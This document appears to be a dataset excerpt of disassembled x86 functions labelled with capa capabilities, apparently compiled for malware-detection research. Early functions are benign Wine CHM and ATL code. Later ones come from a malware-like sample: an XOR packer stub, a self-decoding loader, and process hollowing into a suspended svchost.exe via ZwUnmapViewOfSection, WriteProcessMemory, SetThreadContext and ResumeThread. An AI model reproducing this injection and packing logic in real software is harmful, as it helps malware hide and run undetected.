joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009c30
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
mov ebx, 0xffffffff
sub esp, 0xc
mov esi, dword [ebp + 8]
lock xadd dword [esi + 4], ebx
sub ebx, 1
je 0x10009c58
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call sym._chm_close
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lock sub dword [section..bss], 1
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4

Function at 0x1000a440
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x24
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0x18]
test byte [0x1000e048], 8
jne 0x1000a500
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
sub esp, 0xc
mov ebx, eax
mov dword [eax], sym._ITSS_IEnumSTATSTG_QueryInterface_12
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
lock add dword [section..bss], 1
test byte [0x1000e048], 8
jne 0x1000a550
lea eax, [esi + 0xc]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], sym._ITSS_chm_enumerator
mov dword [esp + 8], 0x1f
mov dword [esp + 4], eax
mov eax, dword [esi + 8]
mov dword [esp], eax
call sym._chm_enumerate_dir
mov eax, dword [ebx + 8]
mov dword [edi], ebx
mov dword [ebx + 0x10], eax
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret 0x14
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x20], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], str._p__ld__p__ld__p_n
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], str.ITSS_IStorageImpl_EnumElements
mov dword [esp + 0x14], eax
mov dword [esp + 4], 0x1000e048
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000a45c
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str._____p_n
mov dword [esp + 8], str.ITSS_create_enum
mov dword [esp + 4], 0x1000e048
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000a4bd
Function at 0x1000a580
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test byte [0x1000e048], 8
jne 0x1000a5f0
mov dword [esp + 8], 0x220
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov edx, dword [ebx + 0xc]
mov ecx, 0x86
lea edi, [eax + 8]
sub esp, 0xc
rep movsd dword es:[edi], dword [esi]
mov dword [eax], 0
mov dword [eax + 4], edx
test edx, edx
je 0x1000a628
mov dword [edx], eax
mov dword [ebx + 0xc], eax
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [esi + 0x14]
call sym._wine_dbgstr_wn.constprop.0_3
mov dword [esp + 0xc], str.adding__s_to_enumeration_n
mov dword [esp + 0x10], eax
mov dword [esp + 8], str.ITSS_chm_enumerator
mov dword [esp + 4], 0x1000e048
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000a598
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x1000a730
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x30
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
test byte [0x1000e048], 8
jne 0x1000a8e0
mov eax, dword [edi + 8]
mov dword [esp], eax
call sym._chm_dup
mov ebx, eax
test eax, eax
je 0x1000a997
cmp word [edi + 0xc], 0
lea edx, [edi + 0xc]
je 0x1000a990
mov eax, edx
lea esi, [esi]
add eax, 2
cmp word [eax], 0
jne 0x1000a778
sub eax, edx
sar eax, 1
cmp word [esi], 0
je 0x1000a79f
mov edx, esi
lea esi, [esi]
add edx, 2
cmp word [edx], 0
jne 0x1000a790
sub edx, esi
sar edx, 1
add eax, edx
lea eax, [eax + eax + 4]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov edx, eax
sub esp, 0xc
xor eax, eax
lea esi, [esi]
movzx ecx, word [edi + eax + 0xc]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1000a7d0
movzx ecx, word [esi]
movzx eax, word [edx]
cmp cx, 0x2f
je 0x1000a890
cmp cx, 0x5c
je 0x1000a890
test ax, ax
je 0x1000a980
mov ecx, edx
lea esi, [esi]
lea edi, [edi]
add ecx, 2
cmp word [ecx], 0
jne 0x1000a810
xor eax, eax
nop
lea esi, [esi]
movzx edi, word [esi + eax]
mov word [ecx + eax], di
add eax, 2
test di, di
jne 0x1000a820
movzx ecx, word [edx]
mov eax, edx
test cx, cx
je 0x1000a85a
lea esi, [esi]
cmp cx, 0x5c
jne 0x1000a84e
mov ecx, 0x2f
mov word [eax], cx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x1000a840
cmp word [eax - 2], 0x2f
je 0x1000a867
mov dword [eax], 0x2f
test byte [0x1000e048], 8
jne 0x1000a940
mov ecx, dword [ebp + 0x20]
mov eax, ebx
call sym._ITSS_create_chm_storage
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
test ax, ax
je 0x1000a980
mov eax, edx
nop
lea esi, [esi]
add eax, 2
cmp word [eax], 0
jne 0x1000a8a0
sub eax, 2
cmp edx, eax
jbe 0x1000a8c5
jmp 0x1000a804
sub eax, 2
xor edi, edi
mov word [eax + 2], di
cmp edx, eax
ja 0x1000a8cb
cmp word [eax], 0x2f
je 0x1000a8b8
movzx eax, word [edx]
test ax, ax
jne 0x1000a804
jmp 0x1000a980
mov eax, esi
call sym._wine_dbgstr_wn.constprop.0_3
mov edx, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x20]
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], str._p__s__p__lu__p__lu__p_n
mov dword [esp + 0x1c], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], str.ITSS_IStorageImpl_OpenStorage
mov dword [esp + 0x18], edx
mov dword [esp + 4], 0x1000e048
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000a74c
mov eax, edx
mov dword [ebp - 0x10], edx
call sym._wine_dbgstr_wn.constprop.0_3
mov dword [esp + 0xc], str.Resolving__s_n
mov dword [esp + 0x10], eax
mov dword [esp + 8], str.ITSS_IStorageImpl_OpenStorage
mov dword [esp + 4], 0x1000e048
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_3
mov edx, dword [ebp - 0x10]
jmp 0x1000a874
mov ecx, edx
jmp 0x1000a819
xor eax, eax
jmp 0x1000a785
mov eax, 0x80004005
jmp 0x1000a87e
Function at 0x1000bdc0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0x1c]
test byte [0x1000e048], 8
jne 0x1000bdf8
mov dword [esp], ebx
call sym._chm_openW
test eax, eax
je 0x1000be29
add esp, 0x14
mov ecx, esi
mov edx, 0x100113a6
pop ebx
pop esi
pop ebp
jmp sym._ITSS_create_chm_storage
mov eax, ebx
call sym._wine_dbgstr_wn.constprop.0_3
mov dword [esp + 0xc], 0x100113a1
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x100117e0
mov dword [esp + 4], 0x1000e048
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000bdd7
add esp, 0x14
mov eax, 0x80004005
pop ebx
pop esi
pop ebp
ret

Function at 0x1000bea0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x1000bef8
cmp byte [esi + ebx - 1], 0xa
je 0x1000becc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x1001e0a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x1000c520
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call sym.___wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x1000c6f8
mov edi, dword [0x1001e0a4]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], edi
je 0x1000c607
test byte [0x1000e060], 8
jne 0x1000c6a0
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x1000e070], 8
jne 0x1000c660
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x1000c5a9
cmp esi, 3
jbe 0x1000c618
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x1000c5ba
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x10018200]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x1000c5a9
mov dword [esp], 0x1000e070
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x1000c580
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call sym._sprintf
add edi, eax
jmp 0x1000c580
mov dword [esp], 0x1000e060
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x1000c56b
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea edi, [ebx + eax]
jmp 0x1000c573
mov eax, 0xffffffff
jmp 0x1000c607
Function at 0x1000c7b0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x214
mov eax, dword [0x1001e0c0]
test eax, eax
je 0x1000c868
mov dword [esp], ebx
call eax
mov dword [ebx + 8], eax
sub esp, 4
test eax, eax
jns 0x1000c7f0
mov eax, dword [ebx]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea edi, [ebp - 0x214]
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.MODULE
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], str.SystemRoot
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.SystemRoot
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
jmp 0x1000c7dc
mov dword [esp], str.atl100.dll
call dword [sym.imp.kernel32.dll_LoadLibraryW]
sub esp, 4
test eax, eax
je 0x1000c89d
mov dword [esp + 4], str.AtlCreateRegistrar
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x1001e0c0], eax
sub esp, 8
test eax, eax
jne 0x1000c7cd
mov dword [ebx + 8], 0x80004002
xor eax, eax
jmp 0x1000c7de
Function at 0x1000c8b0
Capabilities:
Access peb ldr_data
Extract resource via kernel32 functions
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], edi
mov dword [esp + 4], eax
call dword [sym.imp.kernel32.dll_FindResourceW]
sub esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [esp + 4], eax
mov dword [esp], edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov edx, dword [ebp - 0x10]
sub esp, 8
mov ebx, eax
mov dword [esp + 4], edx
mov dword [esp], edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
sub esp, 8
test ebx, ebx
je 0x1000ca40
mov eax, dword [esi]
test eax, eax
je 0x1000ca28
mov edx, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], ebx
mov dword [esp + 0x14], 0
mov dword [ebp - 0x1c], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call edx
lea ecx, [eax + 1]
sub esp, 0x18
lea eax, [ecx + ecx]
mov dword [ebp - 0x18], ecx
mov ecx, eax
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [ebp - 0x14], eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
sub esp, 0xc
test eax, eax
mov edi, eax
je 0x1000ca4c
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [esi + 4]
xor edx, edx
sub esp, 0x18
mov word [edi + eax - 2], dx
mov eax, dword [esi]
test ecx, ecx
mov edx, dword [eax]
mov dword [esp + 4], edi
mov dword [esp], eax
jne 0x1000ca18
call dword [edx + 0x28]
mov dword [esi + 8], eax
sub esp, 8
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esi + 8]
sub esp, 0xc
lea esp, [ebp - 0xc]
not eax
pop ebx
pop esi
shr eax, 0x1f
pop edi
pop ebp
ret 0x10
call dword [edx + 0x24]
mov dword [esi + 8], eax
sub esp, 8
jmp 0x1000c9dc
mov edx, esi
mov eax, edi
call sym._create_registrar
test eax, eax
jne 0x1000c916
lea esi, [esi]
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
mov dword [esi + 8], 0x8007000e
xor eax, eax
jmp 0x1000ca42
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x93a00cd
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x6da304aa
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408992
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x4089a1
pop dword [ebp - 0x40]
mov eax, 0x726def6e
add eax, 0x8dd29a33
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3af9d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x4f0b
xor edx, edx
add edx, eax
mov ebx, 0x1d843496
add ebx, 0xe2bd072e
add ebx, dword [ebp - 0x40]
mov esi, 0x5a5ce9f
xor dword [ebp - 0x38], esi
mov edi, dword [ebx]
add dword [ebp - 0x20], edi
add edi, esi
xor dword [ebp - 0x10], edx
mov dword [edx], edi
xor dword [ebp - 0x10], ecx
add edx, 0xb4bc4273
add edx, 0x4b43bd91
add ebx, 0x4dcd6c06
sub ebx, 0x4dcd6c02
loop 0x4089f1
add eax, 0x12eff
mov ebx, eax
add eax, 0x4e3ad509
sub eax, 0x4e3ad504
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401350
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.c:windows_system32_svchost.exe
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x40141b
push ebx
push ebp
push esi
mov esi, dword [esp + 0x78]
push esi
mov dword [esi], 0x10007
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov eax, dword [esi + 0xa4]
mov ebp, dword [esp + 0x7c]
mov ecx, dword [edi]
lea edx, [esp + 0x74]
push edx
push 4
add eax, 8
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov esi, dword [ebp]
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
lea edx, [esp + 0x10]
push 0x1c
push edx
push esi
push eax
call ebx
test eax, eax
je 0x401406
cmp dword [esp + 0x20], 0x10000
je 0x401406
mov ecx, dword [esp + 0x1c]
mov edx, dword [edi]
add esi, ecx
lea ecx, [esp + 0x10]
push 0x1c
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4013e5
mov eax, dword [ebp]
sub esi, eax
mov eax, 1
mov dword [ebp + 4], esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x60
ret
xor eax, eax
pop edi
add esp, 0x60
ret
Function at 0x401460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00401350
add esp, 0xc
test eax, eax
je 0x40163e
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x4014d2
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x4014d2
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push pe_nt_image_headers32
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
jmp 0x401510
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x401510
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push pe_nt_image_headers32
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x401578
push ebp
call fcn.00401430
add esp, 4
test eax, eax
je 0x40156c
mov edx, dword [esp + 0x14]
push pe_nt_image_headers32
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x401631
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.004012d0
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401631
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x401619
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x4015e7
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x4015f3
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x401650
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x23c
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov esi, dword [esp + 0x24c]
lea ecx, [esp + 0x148]
push esi
push ecx
call fcn.0040d210
add esp, 8
test eax, eax
je 0x4017b7
test esi, esi
je 0x4017a2
mov ecx, 0x20
xor eax, eax
mov edi, str.c:windows_system32_svchost.exe
push 0x414d20
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea eax, [esp + 0x14c]
mov edx, ecx
mov esi, edi
mov edi, str.c:windows_system32_svchost.exe
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00409ec0
mov esi, eax
add esp, 8
test esi, esi
je 0x4017b7
lea ecx, [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
push esi
call fcn.00401000
add esp, 0x14
test al, al
je 0x40178d
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x68]
push edx
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x30]
push ecx
push edx
call fcn.00401140
add esp, 0x10
mov ebx, eax
push pe_nt_image_headers32
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x40178d
mov eax, dword [esp + 0xc]
push edi
lea ecx, [esp + 0x6c]
push eax
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x34]
push edx
push eax
push esi
call fcn.004011d0
mov ecx, dword [esp + 0x24]
push ebx
push edi
lea edx, [esp + 0x88]
push ecx
lea eax, [esp + 0x34]
push edx
lea ecx, [esp + 0x50]
push eax
push ecx
call fcn.00401460
push esi
call fcn.00409e4a
add esp, 0x34
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x23c
ret
push esi
call fcn.00409e4a
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x23c
ret
lea edx, [esp + 0x148]
push str.c:windows_system32_svchost.exe
push edx
call fcn.0040d210
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret